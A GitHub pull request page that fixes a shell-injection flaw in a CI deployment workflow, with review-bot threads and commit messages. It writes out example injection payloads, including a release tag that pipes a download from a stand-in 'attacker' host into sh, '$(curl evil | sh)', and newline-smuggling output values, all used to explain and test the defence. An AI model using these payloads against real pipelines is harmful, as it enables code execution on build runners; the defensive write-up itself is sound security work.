Skip to content

fix(ci): stop interpolating the release tag into a run block - #1657

Merged
cristim merged 3 commits into
mainfrom
sec/1649-release-tag-injection
Aug 5, 2026
Merged

cristim merged 3 commits into
mainfrom
sec/1649-release-tag-injection

Conversation

@cristim

@cristim cristim commented Jul 28, 2026 •

Copy link
Copy Markdown
Member

Closes #1649

Found during the #1542 / PR #1641 sweep of .github/workflows/. Verified live on current origin/main (887d51f) before changing anything.

The defect

# prepare — no environment: binding, inherits workflow-level id-token: write
- name: Set image tag
  id: set-tag
  run: |
    if [[ "${{ github.event_name }}" == "release" ]]; then
      echo "tag=${{ github.event.release.tag_name }}" >> $GITHUB_OUTPUT

GitHub substitutes ${{ github.event.release.tag_name }} into the shell source before bash parses it. git check-ref-format forbids spaces, ~, ^, :, ?, *, [, \ — but permits ;, $, `, (, ), &, |, <, >, !. So a tag like

v1.0.0;curl$IFS-s$IFS'https://attacker/x'|sh;

is a valid ref, and cutting a release on it is arbitrary code execution. $IFS defeats the no-spaces restriction.

Correction: the escalation I originally claimed is NOT reachable

The first version of this PR body claimed the chain: RCE in prepare → mint an OIDC token → assume cudly-terraform-deploy via repo:<org>/<repo>:ref:refs/heads/main. That does not connect, and the corrected impact is below.

The payload only executes on a release event, and on a release event GITHUB_REF is refs/tags/<tag> — so the ungated job's OIDC subject is repo:LeanerCloud/CUDly:ref:refs/tags/<tag>, which matches none of role.tf's four entries (ref:refs/heads/main plus environment:{dev,staging,prod}). Verified: the default subject template is in force (gh api repos/.../actions/oidc/customization/sub → use_default: true), GCP pins assertion.ref == 'refs/heads/main', and Azure allows only main and pull_request.

What is actually reachable, and why this is still p0-shaped:

  • Arbitrary code execution on the runner in prepare, under that job's GITHUB_TOKEN.
  • Arbitrary keys written into $GITHUB_OUTPUT — prepare's outputs are consumed by build-and-deploy and test-deployment, both of which hold id-token: write. Controlling what those two credentialed jobs read is the real prize, and it is what the guard in this PR now protects.

Honest caveat on severity: cutting a release already requires write access, and this repo's main is unprotected (gh api .../branches/main/protection → 404). A write-capable attacker could simply push to main and obtain the ref:refs/heads/main subject directly, with no injection needed. So the marginal capability this bug adds to an attacker who already has write access is small. It is still worth fixing — defence in depth, and the $GITHUB_OUTPUT path into credentialed jobs is real — but the original "escalates to the full production deploy role" framing was wrong and is retracted.

After

env:
  RELEASE_TAG: ${{ github.event.release.tag_name }}
run: |
  TAG="${RELEASE_TAG:-}"
  if [[ ! "$TAG" =~ ^[a-zA-Z0-9_][a-zA-Z0-9._-]{0,127}$ ]]; then ... exit 1; fi

The value never appears in the script's source text. It arrives as a process environment variable, and "$TAG" is a quoted parameter expansion — bash performs no further parsing on the result, so ;, $(...), backticks and newlines are inert data. The charset guard now runs against a shell variable rather than an already-expanded expression, so unlike the original image_tag guard it actually validates something.

The reviewer trap, fixed rather than commented

The job declared:

outputs:
  environment: ${{ steps.set-env.outputs.environment }}

That is an output named environment, not an environment: binding. It reads as gated at a glance and gates nothing — which is very likely why an ungated job holding id-token: write survived review. The apparent gating was cosmetic. A comment alone would not stop the next person making the same misreading, so the output is renamed to target_environment (11 consumer sites) and a note tells future readers not to rename it back.

Changes

  • Release tag, event name, commit SHA and inputs.environment moved into env:, referenced as quoted shell variables. No ${{ }} referencing inputs.* or github.event.* remains in any run: block.
  • Environment allowlisted to dev|staging|prod — the workflow_call input is a free-form string, unlike the workflow_dispatch choice, and was previously unchecked.
  • id-token: write dropped to job level, granted only to build-and-deploy and test-deployment (the two jobs that assume the deploy role, both environment-bound). prepare and summary authenticate to nothing and now hold contents: read.
  • The unquoted cat <<EOF > deployment-info.json heredoc in build-and-deploy replaced with jq -n --arg. The tag is charset-validated upstream, but that heredoc sits in a job holding id-token: write and would evaluate $(...) in any value reaching it — the same shape sec(ci): rollback.yml interpolates the free-text reason input into run blocks in a job holding id-token write #1542 called its worst case.
  • Function URL and the -var-file environment routed through env: for consistency.

Verification

check result
actionlint (shellcheck available), changed file exit 0 — 0 findings (32 before this PR)
new findings introduced 0
jobs holding id-token: write without environment: 0 (was 2)
${{ inputs.* }} / ${{ github.event.* }} inside any run: 0 (was 3)
stale needs.prepare.outputs.environment refs 0
pre-commit hooks passed

I am not claiming actionlint exit 0 here: this file was already failing on main and the residue is unquoted $GITHUB_STEP_SUMMARY redirect targets in jobs this PR does not touch. Fixing them would mix an unrelated cleanup into a p0 security change; they are tracked in #1646.

Correction: my original regression claim was false

The first version of this body said "git tag -l returns only four backup tags, all of which pass it, so nothing previously valid is now rejected." That was wrong, and I had not run it. Running the original guard against the repo's actual tags:

backup-1299-prerebase                    PASS
backup/leftover-lint-preRebase           FAIL   <- slash
backup/wt-mcp-design-presync-20260727    FAIL   <- slash
pr808-prerebase-backup                   PASS

Two of four fail, and so do release/1.0, v1.2.3+20260728 and v1.2.3+build.5. A release cut on a slash-namespaced tag — this repo's own existing convention — would have hard-failed prepare and blocked the entire production deploy. That is an availability regression I would have introduced while claiming I had checked for exactly that.

The guard is redesigned rather than merely widened. Filtering shell metacharacters was the wrong instinct: ;, $, backtick and | are already inert here, because the value arrives via env: and is only ever referenced quoted. The structural threat is a newline, because the tag is written to $GITHUB_OUTPUT as a single tag=<value> line, and a newline lets a crafted tag append attacker-chosen output keys — which the two credentialed downstream jobs consume. So the guard now rejects empty and control characters, and allows the rest of the git ref charset:

release/1.0                   ACCEPT      v1.0\ntag=evil               REJECT
v1.2.3+build.5                ACCEPT      v1.0\r\nfunction_url=...     REJECT
backup/leftover-lint-preRebase ACCEPT     v1.0\nEOF\nmalicious=1       REJECT
v1.0;id  /  v1.0$(id)         ACCEPT (inert as data, by design)

The guarded value is cosmetic today — image_tag reaches only deployment-info.json (via jq --arg) and the step summary; custom_image_tag is never wired from this workflow, and terraform/modules/build/main.tf:24 derives the real tag from the git commit. A comment at the guard says an OCI-grammar check belongs there if that ever changes.

act was not run; no dry run is claimed.

Important caveat — the environment: binding is not currently a gate

This fix leans on environment: to scope the OIDC subject. Worth stating plainly, because it also affects PR #1641:

$ gh api repos/LeanerCloud/CUDly/environments
aws-fargate-dev:     protection_rules=NONE
aws-fargate-staging: protection_rules=NONE
azure-:              protection_rules=NONE
dev:                 protection_rules=NONE
gcp-:                protection_rules=NONE

No Environment in this repo has any protection rules, and staging / prod do not exist at all. GitHub auto-creates a referenced Environment on first use with no rules. So environment: today only scopes secrets and changes the OIDC sub claim — it is not a reviewer gate until required reviewers are configured in repo settings. The comments in this PR say so rather than claiming a gate that does not exist. Tracked in LeanerCloud/cloud-commitments-platform#139.

Two side observations from that output: the azure- and gcp- environments are the residue of an environment: name interpolating to empty, and the dev-only list is consistent with LeanerCloud/cloud-commitments-platform#139's finding that the <cloud>-<env>-rollback names are absent from the trust policy.

Sibling workflows — same shape, no injectable value

A structural sweep (parsing each workflow's YAML for id-token inheritance vs environment: bindings, not grepping) found the ungated-prepare-with-inherited-id-token pattern in deploy-aws-fargate.yml, deploy-gcp.yml and deploy-azure.yml too. Those three are not exploitable today: the only untrusted value reaching their run: blocks is inputs.environment, which is choice-constrained on workflow_dispatch, and their workflow_call string input is fed only by deploy-all.yml, whose own input is also choice-constrained. deploy-aws-lambda.yml was the only one with an attacker-settable value (release.tag_name). Filed separately rather than bundled.

github.actor reaches run: blocks in all four deploy workflows; GitHub usernames are [A-Za-z0-9-], so those are not injectable and are noted only so a reader does not re-flag them.

Filed from this PR: #1659 (the sibling deploy/sanity workflows carry the same ungated-credentialed shape; deploy-gcp and deploy-azure are worse in that their build-and-deploy jobs actually authenticate while ungated — but none has an injectable value, so it is hardening, not a live exploit).

Post-review changes (commit be909c41d)

Three findings from the independent review, all addressed:

  • The tag guard rejected valid tags — corrected above; guard redesigned around the real threat.
  • summary still had six raw ${{ }} in its run: block, including image_tag, safe only because a guard in a different job had run. That makes the operative rule "raw interpolation is fine when someone upstream validated" — the same implicit-invariant species the target_environment rename exists to kill. All six now route through env:, so the file has one uniform rule: zero ${{ }} in any run: block.
  • Unquoted $GITHUB_OUTPUT redirect targets in two steps, quoted — same output-integrity concern as the rest of the PR. This is what took actionlint to exit 0.

Also filed from this review: #1665 — deploy-all.yml declares no permissions: on its caller jobs, so a called deploy workflow likely cannot obtain an OIDC token at all. Pre-existing and identical before and after this PR (permission intersection with the caller caps both the old workflow-level and the new job-level form equally), so it is not a bisect target for this change.

Summary by CodeRabbit

  • Bug Fixes
    • Improved deployment reliability by validating target environments and image tags.
    • Added safer handling of deployment metadata and workflow summaries.
    • Restricted cloud authentication permissions to the jobs that require them.
    • Ensured non-release and manual workflows default to the development environment.
  • Documentation
    • Updated deployment guidance to reflect development deployments from the main branch.

@coderabbitai

coderabbitai Bot commented Jul 28, 2026 •

Copy link
Copy Markdown
Contributor

Review Change Stack

📝 Walkthrough

Walkthrough

The AWS Lambda deployment workflow scopes OIDC permissions to required jobs, validates environments and image tags, replaces direct shell interpolation with environment variables, and propagates target_environment through Terraform, tests, artifacts, summaries, and documentation.

Changes

AWS Lambda deployment hardening

Layer / File(s) Summary
Environment and input validation
.github/workflows/deploy-aws-lambda.yml
The workflow removes global OIDC access. The prepare job validates target_environment and image tags before writing outputs.
Deployment job and Terraform wiring
.github/workflows/deploy-aws-lambda.yml
Build and test jobs receive scoped OIDC permissions and bind to target_environment. Terraform state, variables, cleanup, outputs, and metadata use the same value.
URL handling and deployment summary
.github/workflows/deploy-aws-lambda.yml
Health and smoke tests construct URLs through environment variables. The summary job downloads the matching artifact and writes results with strict shell handling.
Deployment documentation
.github/workflows/README.md
The documentation states that pushes to main deploy to dev.

Estimated code review effort: 3 (Moderate) | ~25 minutes

Sequence Diagram(s)

sequenceDiagram
  participant GitHubEvent
  participant PrepareJob
  participant BuildJob
  participant Terraform
  participant TestJob
  participant SummaryJob

  GitHubEvent->>PrepareJob: provide event and release metadata
  PrepareJob->>PrepareJob: validate target_environment and image tag
  PrepareJob->>BuildJob: pass target_environment
  BuildJob->>Terraform: run environment-specific deployment
  Terraform->>BuildJob: return deployment outputs and metadata
  BuildJob->>TestJob: pass function URL
  TestJob->>TestJob: run health and smoke tests
  TestJob->>SummaryJob: provide workflow results
  SummaryJob->>SummaryJob: download artifact and write deployment summary
Loading

Possibly related issues

  • LeanerCloud/CUDly 1692 — Addresses AWS OIDC deployment trust in the same workflow through scoped id-token: write permissions and environment-bound jobs.
  • LeanerCloud/CUDly 1693 — Addresses unsafe expression interpolation in run: blocks in the same workflow.

Possibly related PRs

🚥 Pre-merge checks | ✅ 5
✅ Passed checks (5 passed)
Check name Status Explanation
Description Check ✅ Passed Check skipped - CodeRabbit’s high-level summary is enabled.
Title check ✅ Passed The title clearly identifies the primary fix: removing unsafe release-tag interpolation from a workflow run block.
Linked Issues check ✅ Passed The changes address #1649 by preventing tag injection, validating tags, scoping OIDC permissions, renaming the output, and removing related interpolations.
Out of Scope Changes check ✅ Passed The workflow hardening and README correction are directly related to the linked issue and stated pull request objectives.
Docstring Coverage ✅ Passed No functions found in the changed files to evaluate docstring coverage. Skipping docstring coverage check.
✨ Finishing Touches
🧪 Generate unit tests (beta)
  • Create PR with unit tests
  • Commit unit tests in branch sec/1649-release-tag-injection

Comment @coderabbitai help to get the list of available commands.

@cristim cristim added effort/s Hours impact/all-users Affects every user priority/p0 Drop everything; same-day fix severity/critical Major harm when it happens triaged Item has been triaged type/security Security finding urgency/now Drop other things labels Jul 28, 2026
@cristim

cristim commented Jul 28, 2026

Copy link
Copy Markdown
Member Author

@coderabbitai review

@coderabbitai

coderabbitai Bot commented Jul 28, 2026 •

Copy link
Copy Markdown
Contributor
✅ Action performed

Review finished.

Note: CodeRabbit is an incremental review system and does not re-review already reviewed commits. This command is applicable only when automatic reviews are paused.

@cristim

cristim commented Aug 3, 2026

Copy link
Copy Markdown
Member Author

@coderabbitai full review

@coderabbitai

coderabbitai Bot commented Aug 3, 2026 •

Copy link
Copy Markdown
Contributor
✅ Action performed

Full review finished.


Your included review limit is currently reached under our Fair Usage Limits Policy. Your recent PR review activity is in the 95th percentile or higher among CodeRabbit users, so adaptive limits apply. This review may still proceed through usage-based billing if eligible. Your next included review will be available in 58 minutes.

@cristim

cristim commented Aug 3, 2026

Copy link
Copy Markdown
Member Author

@coderabbitai full review

@coderabbitai

coderabbitai Bot commented Aug 3, 2026 •

Copy link
Copy Markdown
Contributor
✅ Action performed

Full review finished.

@coderabbitai coderabbitai Bot left a comment

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Actionable comments posted: 1

🤖 Prompt for all review comments with AI agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

Inline comments:
In @.github/workflows/deploy-aws-lambda.yml:
- Around line 110-120: Update the EVENT_NAME case in the deployment environment
selection to map push events to staging, preserving release as prod and
workflow_dispatch as the requested input environment; alternatively, remove the
documented push trigger so the workflow no longer advertises unsupported push
deployment behavior.
🪄 Autofix (Beta)

Fix all unresolved CodeRabbit comments on this PR:

  • Push a commit to this branch (recommended)
  • Create a new PR with the fixes

ℹ️ Review info
⚙️ Run configuration

Configuration used: defaults

Review profile: CHILL

Plan: Pro

Run ID: 3a6f01d5-5184-4fbc-968c-3d21ac3f7c89

📥 Commits

Reviewing files that changed from the base of the PR and between 887d51f and be909c4.

📒 Files selected for processing (1)
  • .github/workflows/deploy-aws-lambda.yml

Comment thread .github/workflows/deploy-aws-lambda.yml
cristim added 3 commits August 3, 2026 18:24
`deploy-aws-lambda.yml` pasted `${{ github.event.release.tag_name }}`
straight into the shell source of the `prepare` job. A git ref name may
contain `;`, `$`, backtick, `(`, `)` and `|` — it only forbids spaces,
which `$IFS` works around — so cutting a release on a crafted tag was
arbitrary code execution.

`prepare` had no `environment:` binding yet inherited workflow-level
`id-token: write`. Since the AWS trust policy accepts the subject
`repo:<org/repo>:ref:refs/heads/main` independently of the
`environment:*` subjects, injected code there could mint an OIDC token
and assume the full production deploy role.

The job looked gated because it declared `outputs: environment:` — an
output *named* environment, not an `environment:` binding. That shape
reads as a gate at a glance while gating nothing, so the output is
renamed rather than merely commented.

Changes:

- Pass the release tag, event name, commit SHA and `inputs.environment`
  through `env:` and reference the quoted shell variables. No `${{ }}`
  referencing `inputs.*` or `github.event.*` remains in any `run:` block.
- Constrain the tag to the OCI tag grammar, checked against a shell
  variable rather than an already-expanded expression, so unlike the
  original guard it actually validates something.
- Allowlist the resolved environment to dev|staging|prod. The
  `workflow_call` input is a free-form string, unlike the
  `workflow_dispatch` `choice`, so it was previously unchecked.
- Drop `id-token: write` to job level, granting it only to
  `build-and-deploy` and `test-deployment` — the two jobs that assume the
  deploy role, both of which are bound to an environment. `prepare` and
  `summary` authenticate to nothing and now hold `contents: read`.
- Rename the `environment` output to `target_environment` (11 consumers)
  so it cannot be misread as a binding.
- Replace the unquoted `cat <<EOF > deployment-info.json` heredoc with
  `jq -n --arg`. The tag is charset-validated upstream, but that heredoc
  sits in a job holding `id-token: write` and would evaluate `$(...)` in
  any value reaching it.
- Route the function URL and the `-var-file` environment through `env:`
  for consistency with the rest of the file.

Verified with `actionlint` (shellcheck available): no new findings, and
the six the rewritten `prepare` job used to produce are gone (SC2086
28 -> 22). The 26 that remain are pre-existing, sit outside the changed
hunks, and are tracked in #1646.

Closes #1649
Addresses three findings from the independent review of this PR.

The tag guard rejected valid tags. `^[a-zA-Z0-9_][a-zA-Z0-9._-]{0,127}$`
excludes `/` and `+`, so two of this repo's four existing tags fail it,
as do `release/1.0` and `v1.2.3+build.5`. A release cut on a
slash-namespaced tag would have hard-failed `prepare` and blocked the
whole production deploy.

Filtering shell metacharacters was the wrong instinct anyway: they are
already inert, because the value arrives via `env:` and is only ever
referenced quoted. The structural threat is a NEWLINE, since the tag is
written to `$GITHUB_OUTPUT` as a single `tag=<value>` line and a newline
would append attacker-chosen output keys that the two credentialed
downstream jobs then consume. So the guard now rejects empty and control
characters and allows the rest of the git ref charset, with a note that
an OCI-grammar check belongs here if the value is ever wired to
Terraform's `custom_image_tag` (it is not today — the real image tag is
derived from the git commit inside the build module).

`summary` still interpolated six expressions directly into its `run:`
block, including `needs.prepare.outputs.image_tag`, whose origin is the
release tag and which was safe only because a guard in a *different* job
had run. That makes the operative rule "raw interpolation is fine when
someone upstream validated", an implicit invariant that breaks silently
the moment the upstream guard moves. All six now go through `env:`, so
the file has one uniform rule: no `${{ }}` in any `run:` block.

Also quote the `$GITHUB_OUTPUT` redirect targets in the two steps that
still wrote to them unquoted, which is the same output-integrity concern
this PR is about.

actionlint (with shellcheck) now reports **0** findings on this file,
down from 32 before the PR and 26 at the previous commit.
The workflow's fallback case intentionally maps a push event to dev,
not staging (deploy-aws-lambda.yml's `*) TARGET_ENVIRONMENT=dev`
arm), but the README still described push-to-main as deploying to
staging. Correct the two doc references instead of changing the
fallback: it is the safe default that stops an unrecognised trigger
from landing in a production-adjacent environment, so weakening it
to staging would make the failure mode worse, not the doc more
accurate.
@cristim
cristim force-pushed the sec/1649-release-tag-injection branch from be909c4 to 394915a Compare August 3, 2026 16:28
@cristim

cristim commented Aug 3, 2026

Copy link
Copy Markdown
Member Author

Rebased onto origin/main (394915a, was be909c4) to pick up the hadolint digest pin from #1697; the prior head predated it and Run pre-commit hooks would have failed on that unrelated debt.

Also addressed the open CodeRabbit thread on deploy-aws-lambda.yml:120: it flagged that a push event resolves to dev via the *) fallback while .github/workflows/README.md documents "Push to main (deploys to staging)".

Checked the actual case "$EVENT_NAME" chain in prepare before touching anything: release -> prod, workflow_dispatch -> the requested input, everything else -> dev. The * -> dev fallback is intentional (there's an existing comment noting it's what keeps an unrecognised trigger from landing in a production-adjacent environment), so the code is correct and the doc was stale. Fixed the two README references instead of changing the fallback, both in 394915a:

  • "Triggers" bullet: staging -> dev
  • the git push origin main example comment: staging -> dev

Re-triggering @coderabbitai review on the pushed commit.

@coderabbitai

coderabbitai Bot commented Aug 3, 2026 •

Copy link
Copy Markdown
Contributor

@cristim The clarification is correct. The *) fallback intentionally selects dev. Updating .github/workflows/README.md is the correct fix for the stale staging documentation. I will review commit 394915af3.

🐇


✏️ Learnings added
Learnt from: cristim
URL: https://github.com/LeanerCloud/CUDly/pull/1657

Timestamp: 2026-08-03T16:30:31.465Z
Learning: In `.github/workflows/deploy-aws-lambda.yml`, the `prepare` job intentionally maps `release` events to `prod`, `workflow_dispatch` events to the requested environment, and all other events, including pushes to `main`, to `dev`. The fallback prevents unrecognized triggers from selecting a production-adjacent environment. `.github/workflows/README.md` must document pushes to `main` as deployments to `dev`.

Note: Learnings are effective only in the context of similar code segments. To apply general coding guidelines, please configure review instructions. You can manage existing learnings in the app.

✅ Action performed

Review finished.

Note: CodeRabbit is an incremental review system and does not re-review already reviewed commits. This command is applicable only when automatic reviews are paused.

@cristim

cristim commented Aug 3, 2026

Copy link
Copy Markdown
Member Author

@coderabbitai review

@coderabbitai

coderabbitai Bot commented Aug 3, 2026 •

Copy link
Copy Markdown
Contributor
✅ Action performed

Review finished.

Note: CodeRabbit is an incremental review system and does not re-review already reviewed commits. This command is applicable only when automatic reviews are paused.

@cristim

cristim commented Aug 3, 2026

Copy link
Copy Markdown
Member Author

Correcting a clearance I gave in error: this PR has not been reviewed by CodeRabbit at its current head.

I previously treated it as reviewed because the CodeRabbit commit status read success :: Review completed at 16:30:12Z, later than the head commit 394915af3 at 16:26:26Z. That inference was wrong. Checking the review objects by SHA instead of by timestamp:

head                              = 394915af3119b615458fc9ba222522692b217b0e
last verdict (body length 1651)   = commit be909c41d73c3def97f677373136faec87b76ad5

be909c41d is the pre-rebase head. The only CodeRabbit messages newer than the current head are @cristim ... I will review commit 394915af3 (a statement of intent) and an ✅ Action performed / Review finished wrapper carrying the note that CodeRabbit "does not re-review already reviewed commits". Neither is a verdict.

CI is green and the doc fix is verified; the review is outstanding. Those are separate claims and I conflated them. Not re-triggering right now, because the shared review quota is adaptive and already strained across this repo, and a needless ping tightens it further. This PR should not merge on the strength of a green check list until a verdict lands whose commit_id is 394915af3.

The general lesson, recorded because it caused this mistake: where a review bot names the commit it reviewed, compare SHAs. A timestamp is an inference that the bot saw your changes; a SHA is proof.

@cristim

cristim commented Aug 5, 2026

Copy link
Copy Markdown
Member Author

Requesting a full review, paced to one request per hour across this repo.

The CodeRabbit quota is per-developer per-organization and adaptive, tightening at the 95th percentile of recent review volume. Every open PR here draws on one budget, so bursting requests both consumes it faster and tightens the limit. Spacing them is what gets verdicts to land.

Full form rather than incremental: this head was pushed while the quota was exhausted, so its automatic review never ran and is not retried retroactively. An incremental request would skip exactly those commits and report clean on a diff it never read.

@coderabbitai full review

@coderabbitai

coderabbitai Bot commented Aug 5, 2026 •

Copy link
Copy Markdown
Contributor

@cristim Full review requested for the current pull request head.

✅ Action performed

Full review finished.

@cristim

cristim commented Aug 5, 2026

Copy link
Copy Markdown
Member Author

Requesting a full review, paced to one request per hour across this repo.

The CodeRabbit quota is per-developer per-organization and adaptive, tightening at the 95th percentile of recent review volume. Every open PR here draws on one budget, so bursting requests both consumes it faster and tightens the limit. Spacing them is what gets verdicts to land.

Full form rather than incremental: this head was pushed while the quota was exhausted, so its automatic review never ran and is not retried retroactively. An incremental request would skip exactly those commits and report clean on a diff it never read.

@coderabbitai full review

@coderabbitai

coderabbitai Bot commented Aug 5, 2026 •

Copy link
Copy Markdown
Contributor

@cristim Full review requested for the current pull request head.

✅ Action performed

Full review finished.

@cristim

cristim commented Aug 5, 2026

Copy link
Copy Markdown
Member Author

Requesting a full review, paced to one request per hour across this repo.

The CodeRabbit quota is per-developer per-organization and adaptive, tightening at the 95th percentile of recent review volume. Every open PR here draws on one budget, so bursting requests both consumes it faster and tightens the limit. Spacing them is what gets verdicts to land.

Full form rather than incremental: this head was pushed while the quota was exhausted, so its automatic review never ran and is not retried retroactively. An incremental request would skip exactly those commits and report clean on a diff it never read.

@coderabbitai full review

@coderabbitai

coderabbitai Bot commented Aug 5, 2026 •

Copy link
Copy Markdown
Contributor

@cristim Full review requested for the current pull request head.

✅ Action performed

Full review finished.

@coderabbitai coderabbitai Bot left a comment

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🧹 Nitpick comments (1)
.github/workflows/deploy-aws-lambda.yml (1)

432-436: 📐 Maintainability & Code Quality | 🔵 Trivial | 💤 Low value

Skip the artifact download when prepare did not produce an environment. The summary job uses if: always(). If prepare fails, needs.prepare.outputs.target_environment is empty and the artifact name becomes deployment-info-lambda-. continue-on-error: true hides the resulting failure, but the step still runs and logs a misleading error. Add a condition so the step runs only when the environment is known.

♻️ Proposed guard
       - name: Download deployment info
         uses: actions/download-artifact@37930b1c2abaa49bbe596cd826c3c89aef350131 # v7.0.0
+        if: needs.prepare.outputs.target_environment != ''
         with:
           name: deployment-info-lambda-${{ needs.prepare.outputs.target_environment }}
         continue-on-error: true
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In @.github/workflows/deploy-aws-lambda.yml around lines 432 - 436, Add an `if`
condition to the “Download deployment info” step so it runs only when
`needs.prepare.outputs.target_environment` is non-empty. Preserve
`continue-on-error: true` and the existing artifact name for cases where the
environment is available.
🤖 Prompt for all review comments with AI agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

Nitpick comments:
In @.github/workflows/deploy-aws-lambda.yml:
- Around line 432-436: Add an `if` condition to the “Download deployment info”
step so it runs only when `needs.prepare.outputs.target_environment` is
non-empty. Preserve `continue-on-error: true` and the existing artifact name for
cases where the environment is available.

ℹ️ Review info
⚙️ Run configuration

Configuration used: defaults

Review profile: CHILL

Plan: Pro

Run ID: db49d07e-a97b-4859-bbd2-e2fad00ba3f2

📥 Commits

Reviewing files that changed from the base of the PR and between 02702a1 and 394915a.

📒 Files selected for processing (2)
  • .github/workflows/README.md
  • .github/workflows/deploy-aws-lambda.yml

@cristim
cristim merged commit bba8576 into main Aug 5, 2026
20 checks passed
cristim added a commit that referenced this pull request Aug 7, 2026
`database-migration.yml` pasted `${{ inputs.direction }}` and
`${{ inputs.steps }}` directly into the shell source of every `migrate-*`
job's `run:` block. GitHub substitutes `${{ }}` expressions into the
script text before bash ever parses it, so a `steps` value such as
`1; touch pwned #` executed as code on the `direction=up` path, which had
no guard at all.

The `direction=down` path did have a regex guard, but the guard itself
ran post-interpolation: `[[ "${{ inputs.steps }}" =~ ^[1-9][0-9]*$ ]]`
means the payload is already substituted into the condition before bash
evaluates it, so a value like `$(curl evil | sh)` runs as part of
evaluating the guard's own `[[ ... ]]` test, before the guard can reject
anything. The guard validates the output of an already-executed payload,
not the payload itself.

Reproduced both cases locally: rendering the pre-fix template with a
malicious `steps` value and executing it created a marker file in both
the unguarded `up` path and the "rejected" `down` path (the guard printed
its refusal and exited 1, but the injected command had already run by
then).

Changes to database-migration.yml:

- Route every `inputs.*` value through `env:` and reference the quoted
  shell variable, so GitHub only ever substitutes them into a scalar env
  var assignment, never into script text. No `${{ }}` remains in any
  `run:` block in this file. Re-running the same payloads through the
  fixed logic (as real env vars, matching how the runner actually passes
  them) confirms both are now rejected as inert data with no execution.
- Validate `steps` for `direction=up` too, not only `down` (defense in
  depth, both in `validate` and again in each `migrate-*` job).
- Validate the `workflow_call` string inputs (`cloud`, `environment`,
  `direction`) against an explicit allowlist in `validate`.
  `workflow_dispatch` constrains these via `type: choice`, enforced
  server-side, but `workflow_call` typed them as free-form strings with
  no such enforcement.
- Drop `id-token: write` to job level, granted only to the
  environment-bound `migrate-aws`/`migrate-gcp`/`migrate-azure` jobs.
  `validate` and `summary` never authenticate to a cloud provider.

Also fixed the byte-identical injection in deploy-gcp.yml,
deploy-aws-fargate.yml and deploy-azure.yml: each `prepare` job's
"Determine environment" step had the exact line
`echo "environment=${{ inputs.environment }}" >> $GITHUB_OUTPUT`,
already fixed in deploy-aws-lambda.yml by #1657 but left unpatched in
these three siblings. Unlike database-migration.yml's migrate-* jobs,
`prepare` in these three files is both ungated (no `environment:`
binding) and still holds workflow-level `id-token: write`, so this was
the more severe ungated-and-credentialed shape. Mirrored the exact
pattern #1657 already established and merged: case-based dispatch
through `env:` plus the same workflow_call allowlist check.

Verified with actionlint (v1.7.12): diffed findings against each
unmodified file on origin/main. Zero new findings introduced anywhere;
every remaining finding is pre-existing shellcheck debt in code this
change does not touch. `act -l` confirms all four job graphs still
parse.

Closes #1647
cristim added a commit that referenced this pull request Aug 7, 2026
`database-migration.yml` pasted `${{ inputs.direction }}` and
`${{ inputs.steps }}` directly into the shell source of every `migrate-*`
job's `run:` block. GitHub substitutes `${{ }}` expressions into the
script text before bash ever parses it, so a `steps` value such as
`1; touch pwned #` executed as code on the `direction=up` path, which had
no guard at all.

The `direction=down` path did have a regex guard, but the guard itself
ran post-interpolation: `[[ "${{ inputs.steps }}" =~ ^[1-9][0-9]*$ ]]`
means the payload is already substituted into the condition before bash
evaluates it, so a value like `$(curl evil | sh)` runs as part of
evaluating the guard's own `[[ ... ]]` test, before the guard can reject
anything. The guard validates the output of an already-executed payload,
not the payload itself.

Reproduced both cases locally: rendering the pre-fix template with a
malicious `steps` value and executing it created a marker file in both
the unguarded `up` path and the "rejected" `down` path (the guard printed
its refusal and exited 1, but the injected command had already run by
then).

Changes to database-migration.yml:

- Route every `inputs.*` value through `env:` and reference the quoted
  shell variable, so GitHub only ever substitutes them into a scalar env
  var assignment, never into script text. No `${{ }}` remains in any
  `run:` block in this file. Re-running the same payloads through the
  fixed logic (as real env vars, matching how the runner actually passes
  them) confirms both are now rejected as inert data with no execution.
- Validate `steps` for `direction=up` too, not only `down` (defense in
  depth, both in `validate` and again in each `migrate-*` job).
- Validate the `workflow_call` string inputs (`cloud`, `environment`,
  `direction`) against an explicit allowlist in `validate`.
  `workflow_dispatch` constrains these via `type: choice`, enforced
  server-side, but `workflow_call` typed them as free-form strings with
  no such enforcement.
- Drop `id-token: write` to job level, granted only to the
  environment-bound `migrate-aws`/`migrate-gcp`/`migrate-azure` jobs.
  `validate` and `summary` never authenticate to a cloud provider.

Also fixed the byte-identical injection in deploy-gcp.yml,
deploy-aws-fargate.yml and deploy-azure.yml: each `prepare` job's
"Determine environment" step had the exact line
`echo "environment=${{ inputs.environment }}" >> $GITHUB_OUTPUT`,
already fixed in deploy-aws-lambda.yml by #1657 but left unpatched in
these three siblings. Unlike database-migration.yml's migrate-* jobs,
`prepare` in these three files is both ungated (no `environment:`
binding) and still holds workflow-level `id-token: write`, so this was
the more severe ungated-and-credentialed shape. Mirrored the exact
pattern #1657 already established and merged: case-based dispatch
through `env:` plus the same workflow_call allowlist check.

Verified with actionlint (v1.7.12): diffed findings against each
unmodified file on origin/main. Zero new findings introduced anywhere;
every remaining finding is pre-existing shellcheck debt in code this
change does not touch. `act -l` confirms all four job graphs still
parse.

Closes #1647
cristim added a commit that referenced this pull request Sep 27, 2026
* fix(ci): stop interpolating the release tag into a run block

`deploy-aws-lambda.yml` pasted `${{ github.event.release.tag_name }}`
straight into the shell source of the `prepare` job. A git ref name may
contain `;`, `$`, backtick, `(`, `)` and `|` — it only forbids spaces,
which `$IFS` works around — so cutting a release on a crafted tag was
arbitrary code execution.

`prepare` had no `environment:` binding yet inherited workflow-level
`id-token: write`. Since the AWS trust policy accepts the subject
`repo:<org/repo>:ref:refs/heads/main` independently of the
`environment:*` subjects, injected code there could mint an OIDC token
and assume the full production deploy role.

The job looked gated because it declared `outputs: environment:` — an
output *named* environment, not an `environment:` binding. That shape
reads as a gate at a glance while gating nothing, so the output is
renamed rather than merely commented.

Changes:

- Pass the release tag, event name, commit SHA and `inputs.environment`
  through `env:` and reference the quoted shell variables. No `${{ }}`
  referencing `inputs.*` or `github.event.*` remains in any `run:` block.
